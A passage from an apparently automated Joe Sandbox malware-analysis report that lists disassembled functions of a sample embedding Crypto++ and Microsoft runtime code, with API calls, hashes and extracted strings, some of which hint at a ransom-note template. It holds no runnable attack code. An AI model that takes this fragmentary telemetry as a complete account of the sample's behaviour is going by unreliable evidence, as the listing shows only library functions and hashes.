                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ___std_type_info_name$Name___un
                                          • String ID: ModPrime1PrivateExponent$ModPrime2PrivateExponent$MultiplicativeInverseOfPrime2ModPrime1$Prime1$Prime2$PrivateExponent$ThisObject:
                                          • API String ID: 3683324773-4091968653
                                          • Opcode ID: 4d516abb15eec8d2850ae1349f273a0eda91d6532e9f5963431e654c4b209bab
                                          • Instruction ID: a0d2c91a5d53a808a745491f6fc39a26e047c85042221906d0c0bd4a7fb35368
                                          • Opcode Fuzzy Hash: 4d516abb15eec8d2850ae1349f273a0eda91d6532e9f5963431e654c4b209bab
                                          • Instruction Fuzzy Hash: D861AE30614B459BC711ABA8C856F9BBBB5FF91304F004A1DF1959B292EB71E908CB93
                                          Function 008FA791 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 80threadCOMMON
                                          Download Yara Rule
                                          APIs
                                          • Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 008FA7DD
                                          • SwitchToThread.KERNEL32(?), ref: 008FA800
                                          • Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 008FA81F
                                          • Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 008FA83B
                                          • Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 008FA846
                                          • std::invalid_argument::invalid_argument.LIBCONCRT ref: 008FA86D
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008FA87B
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextException@8InternalMarkOversubscribedProcProcessor::ResetRetirementSwitchThreadThrowstd::invalid_argument::invalid_argument
                                          • String ID: count$ppVirtualProcessorRoots
                                          • API String ID: 3409498682-3650809737
                                          • Opcode ID: 2297fd83c167053e1acc77f14e5881bb525941963de5e296ee1664d6ca709454
                                          • Instruction ID: a69c0c7cdd913cd7e31959ce9f27d43370bc8be0eca9906ba2aa44b952c72492
                                          • Opcode Fuzzy Hash: 2297fd83c167053e1acc77f14e5881bb525941963de5e296ee1664d6ca709454
                                          • Instruction Fuzzy Hash: BB2150B4A0020DAFDB04EFA9C8959BDB7B4FF49364F004069EA16E7351DB70AE41CB51
                                          Function 009102D5 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 76COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • DName::DName.LIBVCRUNTIME ref: 00910302
                                          • UnDecorator::getSignedDimension.LIBCMT ref: 00910315
                                          • DName::getString.LIBVCRUNTIME ref: 0091033A
                                          • DName::DName.LIBVCRUNTIME ref: 0091036B
                                            • Part of subcall function 0090B998: DName::doPchar.LIBVCRUNTIME ref: 0090B9BF
                                          • DName::operator+.LIBCMT ref: 0091037A
                                            • Part of subcall function 0090BCDA: DName::operator+=.LIBVCRUNTIME ref: 0090BCF0
                                          • DName::operator+.LIBCMT ref: 00910388
                                            • Part of subcall function 0090BD1E: DName::operator+=.LIBCMT ref: 0090BD34
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: NameName::Name::operator+Name::operator+=$Decorator::getDimensionName::doName::getPcharSignedString
                                          • String ID: `template-parameter$mqzp$void
                                          • API String ID: 2542415585-4100124583
                                          • Opcode ID: 85dd2a832082b32f397ba22781cd7461366a007f0e86cab1c879be2ae5b409fc
                                          • Instruction ID: b64839c2e6902b0be2ab2536fd9e1f817c7ac63e7ee53503def1bdc8e97193b0
                                          • Opcode Fuzzy Hash: 85dd2a832082b32f397ba22781cd7461366a007f0e86cab1c879be2ae5b409fc
                                          • Instruction Fuzzy Hash: 0C219572B042089FCB18EBA8E852BFF73B8AB88311F600419E551A21D1DF746AC6D760
                                          Function 008E21B5 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 73COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: GetcvtMaklocchrMaklocstr$H_prolog3_
                                          • String ID: false$true
                                          • API String ID: 2216850052-2658103896
                                          • Opcode ID: 165d303950831f351e4b350f227d98d1b95c4a2f1b5bb186caf865e8ad392ea7
                                          • Instruction ID: c648b88702a2bb607391143b78085aef0234c511b41676819fdfd799182a87e3
                                          • Opcode Fuzzy Hash: 165d303950831f351e4b350f227d98d1b95c4a2f1b5bb186caf865e8ad392ea7
                                          • Instruction Fuzzy Hash: A2214CB2C00348EADF14EFA9C885A9EBBB8FF95710F00815AF915DF252EB709540CB61
                                          Function 008FA249 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 57COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetCurrentProcess.KERNEL32 ref: 008FA263
                                          • GetCurrentProcess.KERNEL32 ref: 008FA26B
                                          • DuplicateHandle.KERNEL32(00000000,000000FF,00000000,00000000,00000000,00000000,00000002), ref: 008FA280
                                          • SafeRWList.LIBCONCRT ref: 008FA2A0
                                            • Part of subcall function 008F829E: __EH_prolog3.LIBCMT ref: 008F82A5
                                            • Part of subcall function 008F829E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 008F82AF
                                            • Part of subcall function 008F829E: List.LIBCMT ref: 008F82B9
                                          • std::invalid_argument::invalid_argument.LIBCONCRT ref: 008FA2B2
                                          • GetLastError.KERNEL32 ref: 008FA2C1
                                          • Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 008FA2D7
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008FA2E5
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: CurrentListProcess$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorDuplicateErrorException@8H_prolog3HandleLastLock::_ReaderSafeThrowWriteWriterstd::invalid_argument::invalid_argument
                                          • String ID: eventObject
                                          • API String ID: 3870774015-1680012138
                                          • Opcode ID: 87904a6efa68ff2c0f9a862a77b28f2f3931349c892af0950c0e7f6e2fe9f48e
                                          • Instruction ID: 2a6fd2842c74bef3d48bee4b853f0f9bbdcb81a6e62c8f1f1933bf878c27e782
                                          • Opcode Fuzzy Hash: 87904a6efa68ff2c0f9a862a77b28f2f3931349c892af0950c0e7f6e2fe9f48e
                                          • Instruction Fuzzy Hash: F811A375614209EBCB18EBB4DC4AFFE7778FF04324F208126B609E60D1DBB49A04D666
                                          Function 00905224 Relevance: 15.1, APIs: 10, Instructions: 69threadCOMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • GetCurrentThreadId.KERNEL32 ref: 0090523A
                                          • GetCurrentProcess.KERNEL32(?,?,?,?,?,008F90F0,?,?,?,?,00000000,?,00000000), ref: 0090524C
                                          • GetCurrentThread.KERNEL32 ref: 00905254
                                          • GetCurrentProcess.KERNEL32(?,?,?,?,?,008F90F0,?,?,?,?,00000000,?,00000000), ref: 0090525C
                                          • DuplicateHandle.KERNEL32(00000000,00000000,00000000,008F9194,00000000,00000000,00000002,?,?,?,?,?,008F90F0,?,?,?), ref: 00905275
                                          • Concurrency::details::RegisterAsyncWaitAndLoadLibrary.LIBCONCRT ref: 00905296
                                            • Part of subcall function 008F3524: ___crtCreateThreadpoolTimer.LIBCPMT ref: 008F3530
                                            • Part of subcall function 008F3524: Concurrency::details::ReferenceLoadLibrary.LIBCONCRT ref: 008F353E
                                            • Part of subcall function 008F3524: ___crtSetThreadpoolWait.LIBCPMT ref: 008F3550
                                          • GetLastError.KERNEL32(?,?,?,?,?,?,?,008F90F0,?,?,?,?,00000000,?,00000000), ref: 009052A8
                                          • GetLastError.KERNEL32(?,?,?,?,008F90F0,?,?,?,?,00000000,?,00000000), ref: 009052D3
                                          • Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 009052E9
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 009052F7
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Current$Concurrency::details::ErrorLastLibraryLoadProcessThreadThreadpoolWait___crt$AsyncConcurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorCreateDuplicateException@8HandleReferenceRegisterThrowTimer
                                          • String ID:
                                          • API String ID: 1073306966-0
                                          • Opcode ID: 2e6e61e11492aea8dc2bcfe3f7a0cb8f4770e31281144b4ef9505869e90267a5
                                          • Instruction ID: 1a347a9d16f8c6121019e5ef281d9c6311570a9e88989ef25368c81ef31dfd95
                                          • Opcode Fuzzy Hash: 2e6e61e11492aea8dc2bcfe3f7a0cb8f4770e31281144b4ef9505869e90267a5
                                          • Instruction Fuzzy Hash: A8112975618704BFD710AF789C4AF9B3BACAF46304F144075FA45EA192EA70C9009F72
                                          Function 009249F5 Relevance: 15.1, APIs: 10, Instructions: 54COMMON
                                          Download Yara Rule
                                          APIs
                                          • _free.LIBCMT ref: 00924A09
                                            • Part of subcall function 009254D5: HeapFree.KERNEL32(00000000,00000000,?,0092DD68,?,00000000,?,00000000,?,0092E00C,?,00000007,?,?,0092E400,?), ref: 009254EB
                                            • Part of subcall function 009254D5: GetLastError.KERNEL32(?,?,0092DD68,?,00000000,?,00000000,?,0092E00C,?,00000007,?,?,0092E400,?,?), ref: 009254FD
                                          • _free.LIBCMT ref: 00924A15
                                          • _free.LIBCMT ref: 00924A20
                                          • _free.LIBCMT ref: 00924A2B
                                          • _free.LIBCMT ref: 00924A36
                                          • _free.LIBCMT ref: 00924A41
                                          • _free.LIBCMT ref: 00924A4C
                                          • _free.LIBCMT ref: 00924A57
                                          • _free.LIBCMT ref: 00924A62
                                          • _free.LIBCMT ref: 00924A70
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: _free$ErrorFreeHeapLast
                                          • String ID:
                                          • API String ID: 776569668-0
                                          • Opcode ID: a71443340eb59de1df3777cae3f420acf92f3288f220b1ac78ba57894d2c3900
                                          • Instruction ID: 988e225c23582b47430bee1df0e11c791d97c06a0134a7aeb3c20126b99ced48
                                          • Opcode Fuzzy Hash: a71443340eb59de1df3777cae3f420acf92f3288f220b1ac78ba57894d2c3900
                                          • Instruction Fuzzy Hash: 0211B67611151CBFCB01FF94E842ED97BA5EF44361B6240A5FA088F236DE31DE909B80
                                          Function 0087829C Relevance: 14.5, APIs: 1, Strings: 7, Instructions: 477COMMON
                                          Download Yara Rule
                                          APIs
                                          • std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0087895A
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Ios_base_dtorstd::ios_base::_
                                          • String ID: %$&4r*3d$($.GVJ$DOEXI$_Mail-$_[ID-
                                          • API String ID: 323602529-945856101
                                          • Opcode ID: b9c325aa3439f180fd0dd602bbb5d7b32a5f6ac1b026c335d349399a9a5f034c
                                          • Instruction ID: 6ad9f86e3cf0d4acf77e5c057a2cd27e1e15e77aba490621110e43507ec0e663
                                          • Opcode Fuzzy Hash: b9c325aa3439f180fd0dd602bbb5d7b32a5f6ac1b026c335d349399a9a5f034c
                                          • Instruction Fuzzy Hash: D112BA31A14258CBDB25CF28CD587ADBBB1FB45308F1482D9D44DAB2A6DB35EA84CF11
                                          Function 008EB00E Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 266COMMON
                                          Download Yara Rule
                                          APIs
                                          • __EH_prolog3.LIBCMT ref: 008EB015
                                            • Part of subcall function 00899550: std::_Lockit::_Lockit.LIBCPMT ref: 00899599
                                            • Part of subcall function 00899550: std::_Lockit::_Lockit.LIBCPMT ref: 008995BB
                                            • Part of subcall function 00899550: std::_Lockit::~_Lockit.LIBCPMT ref: 008995DB
                                            • Part of subcall function 00899550: std::_Lockit::~_Lockit.LIBCPMT ref: 008996A8
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3
                                          • String ID: %H : %M$%H : %M : %S$%I : %M : %S %p$%b %d %H : %M : %S %Y$%d / %m / %y$%m / %d / %y$:AM:am:PM:pm
                                          • API String ID: 1383202999-2891247106
                                          • Opcode ID: b87392fe621dd3f27131536187ad4916ac3a8d23004ba28df7418cae2220ec1c
                                          • Instruction ID: 91836606c0954fd93fdeb47d010d3e4c14f8c842ec4b399f16ad899417e8a10a
                                          • Opcode Fuzzy Hash: b87392fe621dd3f27131536187ad4916ac3a8d23004ba28df7418cae2220ec1c
                                          • Instruction Fuzzy Hash: DBA1557190024EABCF15DF8AC892DEF7BB9FF0A308F00441AFA15A6291D7719910DB61
                                          Function 0089CC00 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 135COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeGetcvtRegister
                                          • String ID: mqzp
                                          • API String ID: 2755674607-955126501
                                          • Opcode ID: d60838bc40a9e49bd2ad46e2c7a4e4db6e34aa6142441387f38a4bf05550bd67
                                          • Instruction ID: 06ead0fb7d733001944f31749f1f52ca02be5e908a59d7bfb1c42fcb7c51344b
                                          • Opcode Fuzzy Hash: d60838bc40a9e49bd2ad46e2c7a4e4db6e34aa6142441387f38a4bf05550bd67
                                          • Instruction Fuzzy Hash: 6E51B4B1D04608CFDB10EF68C941AAABBB4FF18714F14426AE84AE7351EB31B941CB91
                                          Function 008A4EE0 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 124COMMON
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008A4F7D
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008A4FAB
                                          • ___std_exception_copy.LIBVCRUNTIME ref: 008A5002
                                          Strings
                                          • Cryptographic algorithms are disabled before the power-up self tests are performed., xrefs: 008A4F54
                                          • mqzp, xrefs: 008A4FEA
                                          • Cryptographic algorithms are disabled after a power-up self test failed., xrefs: 008A4F82
                                          • mqzp, xrefs: 008A4EF4, 008A4FD4
                                          • mqzp, xrefs: 008A4F44
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Exception@8Throw$___std_exception_copy
                                          • String ID: Cryptographic algorithms are disabled after a power-up self test failed.$Cryptographic algorithms are disabled before the power-up self tests are performed.$mqzp$mqzp$mqzp
                                          • API String ID: 4178755008-1149212873
                                          • Opcode ID: 70fc7fedce988dc02b47e9fea829b9cc38b196f1506b0561fc3a8fb227158341
                                          • Instruction ID: 2dde6a28f4b73634bb76e67ce3b148d6421633c4356682d7c94a876e5aa03cf7
                                          • Opcode Fuzzy Hash: 70fc7fedce988dc02b47e9fea829b9cc38b196f1506b0561fc3a8fb227158341
                                          • Instruction Fuzzy Hash: AD419F72914608EFDB10EFA8C841FDEF7B8FF55720F50466AE911E3681EB74A604CA61
                                          Function 009064A9 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 104threadCOMMON
                                          Download Yara Rule
                                          APIs
                                          • Concurrency::details::ThreadProxy::SuspendExecution.LIBCMT ref: 009064C2
                                            • Part of subcall function 00906791: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,00000000,009061F5), ref: 009067A1
                                          • Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 009064D7
                                          • std::invalid_argument::invalid_argument.LIBCONCRT ref: 009064E6
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 009064F4
                                          • std::invalid_argument::invalid_argument.LIBCONCRT ref: 009065AA
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 009065B8
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Concurrency::details::Exception@8Throwstd::invalid_argument::invalid_argument$ExecutionFreeIdleObjectProcessorProxy::ResetRoot::SingleSuspendThreadVirtualWait
                                          • String ID: pContext$switchState
                                          • API String ID: 2757187270-2660820399
                                          • Opcode ID: dd84bd0b97db9d1be1b9af994635fc380e7986a3f9090d24df19967126306ad5
                                          • Instruction ID: 6ca85de5aa8f13058f40a372e72cd2399c5c4dc8863bf2294fdb5a5c58600867
                                          • Opcode Fuzzy Hash: dd84bd0b97db9d1be1b9af994635fc380e7986a3f9090d24df19967126306ad5
                                          • Instruction Fuzzy Hash: EA31A436A00214AFCB04EF68C885A6D77B9FF85324F244469F915AB3D6DB70EE11CB90
                                          Function 008F82D2 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 78COMMON
                                          Download Yara Rule
                                          APIs
                                          • std::invalid_argument::invalid_argument.LIBCONCRT ref: 008F82F2
                                          • Concurrency::details::SchedulingNode::AddVirtualProcessor.LIBCONCRT ref: 008F8341
                                          • std::invalid_argument::invalid_argument.LIBCONCRT ref: 008F8364
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008F8372
                                          • __EH_prolog3.LIBCMT ref: 008F837F
                                          • Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 008F83A6
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: CacheConcurrency::details::GroupLocalSchedulestd::invalid_argument::invalid_argument$Exception@8H_prolog3Node::ProcessorSchedulingSegmentSegment::ThrowVirtual
                                          • String ID: count$ppVirtualProcessorRoots
                                          • API String ID: 3227653198-3650809737
                                          • Opcode ID: d09b9bf3ef8c711a6508b398eb86c670fef30c9e9afc85dde11a2546b472691f
                                          • Instruction ID: 9db792484c2ca969bb246f564c92321bba621d774761e797e54278600e1f8b86
                                          • Opcode Fuzzy Hash: d09b9bf3ef8c711a6508b398eb86c670fef30c9e9afc85dde11a2546b472691f
                                          • Instruction Fuzzy Hash: 38218B35600609EFCB14EFA9C892EBD77B5FF88714F10406AE606DB291DF70AA01CB91
                                          Function 0090CDB5 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 73COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • UnDecorator::getArgumentList.LIBVCRUNTIME ref: 0090CDD5
                                            • Part of subcall function 0090CCBF: Replicator::operator[].LIBVCRUNTIME ref: 0090CD2B
                                            • Part of subcall function 0090CCBF: DName::operator+=.LIBVCRUNTIME ref: 0090CD33
                                          • DName::operator+.LIBCMT ref: 0090CE2C
                                          • DName::DName.LIBVCRUNTIME ref: 0090CE75
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
